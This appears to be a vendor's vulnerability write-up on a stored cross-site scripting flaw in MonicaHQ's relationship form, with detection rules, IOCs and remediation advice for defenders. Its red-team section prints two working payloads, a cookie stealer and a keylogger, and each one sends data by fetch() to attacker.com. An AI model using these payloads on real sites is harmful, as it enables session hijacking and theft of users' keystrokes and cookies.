CVE-2024-54994
Executive Summary
CVE-2024-54994 identifies multiple Client-Side Injection vulnerabilities in MonicaHQ v4.1.2, specifically within the "Add a new relationship" feature. The vulnerability is triggered via the first_name and last_name parameters, allowing an attacker to inject arbitrary client-side scripts. This can lead to session hijacking, data theft, or defacement. The vulnerability is classified as a Stored Cross-Site Scripting (XSS) issue, as the injected payload is stored in the application and executed when other users view the relationship data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MonicaHQ is a PHP-based application. The vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but is a code-level flaw in the application's input handling. No supply chain compromise is indicated.
CVSS Breakdown & Threat Level
The CVSS score is 0.0, indicating insufficient data for scoring. However, based on the nature of the vulnerability (Stored XSS), a reasonable vector would be:
- Attack Vector (AV): Network
- Attack Complexity (AC): Low
- Privileges Required (PR): Low (attacker needs to be authenticated to add a relationship)
- User Interaction (UI): Required (victim must view the relationship)
- Scope (S): Changed
- Confidentiality (C): Low
- Integrity (I): Low
- Availability (A): None
Estimated CVSS v3.1 Score: 5.4 (Medium)
Threat Level: Medium. Exploitation requires authentication but can lead to significant impact on data confidentiality and integrity.
Deep Dive & Mechanics
The vulnerability resides in the "Add a new relationship" feature of MonicaHQ v4.1.2. When a user adds a new relationship, the first_name and last_name parameters are not properly sanitized before being stored in the database and later rendered in the user interface. An attacker can inject malicious JavaScript code into these fields. When another user (or the same user) views the relationship list or details, the injected script executes in the context of the victim's browser.
Root Cause: Lack of output encoding or input sanitization for the first_name and last_name fields in the relationship creation functionality.
Attack Flow:
- Attacker authenticates to MonicaHQ.
- Attacker navigates to the "Add a new relationship" feature.
- Attacker enters a payload like
<script>alert('XSS')</script>in thefirst_nameorlast_namefield. - The payload is stored in the database.
- Victim views the relationship list or details.
- The payload executes in the victim's browser.
Vulnerable vs. Patched Code
Vulnerable Code (MonicaHQ v4.1.2):
// In the relationship creation controller
$relationship = new Relationship();
$relationship->first_name = $request->input('first_name');
$relationship->last_name = $request->input('last_name');
$relationship->save();
Patched Code (Hypothetical):
// Properly sanitize input
$relationship = new Relationship();
$relationship->first_name = htmlspecialchars($request->input('first_name'), ENT_QUOTES, 'UTF-8');
$relationship->last_name = htmlspecialchars($request->input('last_name'), ENT_QUOTES, 'UTF-8');
$relationship->save();
Exploitation & Lab Setup
Red Team
Prerequisites:
- MonicaHQ v4.1.2 instance
- Valid user credentials
Exploit Steps:
- Log in to MonicaHQ.
- Navigate to the "Add a new relationship" page.
- In the
first_namefield, enter the following payload:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - In the
last_namefield, enter a benign name or another payload. - Submit the form.
- When the victim views the relationship, the script executes and sends the cookie to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
</script>
Blue Team
Detection Steps:
- Monitor for unusual characters in
first_nameandlast_namefields in HTTP requests. - Look for patterns like
<script,onerror,onload,javascript:in these parameters. - Check server logs for requests to external domains from the MonicaHQ application.
Hunting Query (Splunk):
index=web sourcetype=access_combined
| search uri_path="/relationships" AND form_data=*first_name* OR form_data=*last_name*
| rex field=form_data "first_name=(?<first_name>[^&]+)"
| rex field=form_data "last_name=(?<last_name>[^&]+)"
| where match(first_name, "<script") OR match(last_name, "<script")
| table _time, clientip, first_name, last_name
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/relationshipswithfirst_nameorlast_nameparameters containing<script>tags. - Outbound connections to attacker-controlled domains from the MonicaHQ server.
- HTTP requests to
File IOCs:
- Database entries in the
relationshipstable withfirst_nameorlast_namefields containing JavaScript code.
- Database entries in the
Behavioral IOCs:
- Unexpected JavaScript execution in the browser when viewing relationship data.
- Unauthorized cookie theft or session hijacking.
Detection Engineering
YARA Rule
rule CVE_2024_54994_MonicaHQ_XSS {
meta:
description = "Detects XSS payloads in MonicaHQ relationship fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-54994"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/si
$event_handler = /on\w+\s*=\s*['"].*?['"]/si
$javascript_protocol = /javascript\s*:/si
condition:
any of them
}
Sigma Rule
title: MonicaHQ Relationship XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attempts in MonicaHQ relationship creation
author: Valters IT
date: 2025-04-10
logsource:
category: web
product: monicahq
detection:
selection:
uri_path: "/relationships"
form_data|contains:
- "<script"
- "onerror"
- "onload"
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of HTML in names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-54994 MonicaHQ Relationship XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/relationships"; http_uri;
content:"first_name"; http_client_body;
pcre:"/<script[^>]*>.*?<\/script>/si";
sid:1000001;
rev:1;
reference:cve,2024-54994;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a patched version is released, upgrade immediately. Currently, no patch is available.
- Input Sanitization: Implement server-side input validation and output encoding for all user-supplied data, especially
first_nameandlast_name. - Content Security Policy (CSP): Deploy a strict CSP header to mitigate the impact of XSS.
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Web Application Firewall (WAF): Configure WAF rules to block requests containing
<script>tags in form fields.
Long-Term Fixes:
- Code Review: Conduct a thorough code review of all input handling functions.
- Security Training: Educate developers on secure coding practices, especially regarding XSS prevention.
- Automated Testing: Integrate SAST/DAST tools into the CI/CD pipeline to detect similar vulnerabilities.
Workaround:
- Disable the "Add a new relationship" feature temporarily if possible, or restrict access to trusted users only.
Valters IT
Securing Digital Frontiers